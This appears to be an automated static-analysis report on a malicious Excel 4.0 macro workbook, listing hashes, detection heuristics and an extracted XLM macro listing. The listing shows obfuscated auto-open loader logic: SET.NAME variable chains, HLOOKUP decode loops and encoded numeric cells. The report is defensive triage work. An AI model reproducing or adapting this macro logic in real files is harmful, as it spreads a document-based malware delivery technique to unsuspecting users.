Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30e52ec313e4b36c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:54 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: b64f721bccb80ba61922acef764c15b7 SHA-1: 72b35df45ecdebbeb3db4e6624dfcd8a94a26ed8 SHA-256: 30e52ec313e4b36c3b6e0ca6441b73447b703c7ff7588cfbedd9893d7ac09e97
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6714 bytes
SHA-256: 489a27b5163f6d5d11463872d88b30b9892981b24e221052b75d4316bb642c5a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xSXAMIB
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I147 
' 0018     27 LABEL : Cell Value, String Constant - hASbbdrOeJDp len=0 
' 0018     26 LABEL : Cell Value, String Constant - heAcNPEJqDz len=0 
' 0018     23 LABEL : Cell Value, String Constant - IHVINHCB len=0 
' 0018     27 LABEL : Cell Value, String Constant - jDHstJvznlBu len=0 
' 0018     25 LABEL : Cell Value, String Constant - lvVeaWGKxg len=0 
' 0018     21 LABEL : Cell Value, String Constant - mNJRIz len=0 
' 0018     26 LABEL : Cell Value, String Constant - NdtahShsatI len=0 
' 0018     22 LABEL : Cell Value, String Constant - pHmkMdH len=0 
' 0018     22 LABEL : Cell Value, String Constant - PZFlpKu len=0 
' 0018     22 LABEL : Cell Value, String Constant - QpPiObb len=0 
' 0018     21 LABEL : Cell Value, String Constant - tRoZWp len=0 
' 0018     23 LABEL : Cell Value, String Constant - UntQQcZF len=0 
' 0018     21 LABEL : Cell Value, String Constant - uQtqzK len=0 
' 0018     21 LABEL : Cell Value, String Constant - vBLVLn len=0 
' 0018     21 LABEL : Cell Value, String Constant - vcJkKN len=0 
' 0018     27 LABEL : Cell Value, String Constant - VyCooVjvzeIF len=0 
' 0018     25 LABEL : Cell Value, String Constant - WKKfTgCGQw len=0 
' 0018     20 LABEL : Cell Value, String Constant - YlAxk len=0 
' 0018     27 LABEL : Cell Value, String Constant - yqrdcKvfgbhA len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZxTLCj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xSXAMIB,I57,"SET.NAME("heAcNPEJqDz",0+VALUE("0"))",""
'  xSXAMIB,I61,"SET.NAME("yqrdcKvfgbhA",heAcNPEJqDz)",""
'  xSXAMIB,I63,"SET.NAME("QpPiObb",heAcNPEJqDz)",""
'  xSXAMIB,I65,"SET.NAME("tRoZWp",COUNTA(lvVeaWGKxg))",""
'  xSXAMIB,I67,"SET.NAME("NdtahShsatI",COUNTA(vBLVLn))",""
'  xSXAMIB,I71,[],""
'  xSXAMIB,I75,"SET.NAME("WKKfTgCGQw","")",""
'  xSXAMIB,I80,"yqrdcKvfgbhA",""
'  xSXAMIB,I85,"SET.NAME("vcJkKN",HLOOKUP("*",lvVeaWGKxg,yqrdcKvfgbhA,FALSE))",""
'  xSXAMIB,I90,"mNJRIz",""
'  xSXAMIB,I94,"SET.NAME("VyCooVjvzeIF",heAcNPEJqDz)",""
'  xSXAMIB,P95,"",94.00000000000000000000
'  xSXAMIB,P96,"",686.00000000000000000000
'  xSXAMIB,P97,"",-251.00000000000000000000
'  xSXAMIB,P98,"",-71.00000000000000000000
'  xSXAMIB,I99,[],""
'  xSXAMIB,P99,"",-744.00000000000000000000
'  xSXAMIB,P100,"",-519.00000000000000000000
'  xSXAMIB,I101,"VyCooVjvzeIF",""
'  xSXAMIB,I104,"ZxTLCj",""
'  xSXAMIB,I108,"uQtqzK",""
'  xSXAMIB,I113,"pHmkMdH",""
'  xSXAMIB,I116,"SET.NAME("jDHstJvznlBu",VALUE(HLOOKUP("*",vBLVLn,pHmkMdH,FALSE)))",""
'  xSXAMIB,I119,"PZFlpKu",""
'  xSXAMIB,I121,"WKKfTgCGQw",""
'  xSXAMIB,I123,"QpPiObb",""
'  xSXAMIB,I128,NEXT(),""
'  xSXAMIB,I132,"UntQQcZF",""
'  xSXAMIB,I135,[],""
'  xSXAMIB,I138,"YlAxk",""
'  xSXAMIB,I141,NEXT(),""
'  xSXAMIB,I145,RETURN(),""
'  xSXAMIB,I170,"SET.NAME("IHVINHCB",I57)",""
'  xSXAMIB,I172,"lvVeaWGKxg",""
'  xSXAMIB,I177,"SET.NAME("vBLVLn",R78C11)",""
'  xSXAMIB,I181,"SET.NAME("YlAxk",189)",""
'  xSXAMIB,I183,"SET.NAME("hASbbdrOeJDp",9)",""
'  xSXAMIB,I188,IHVINHCB(),""
'  xSXAMIB,I189,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.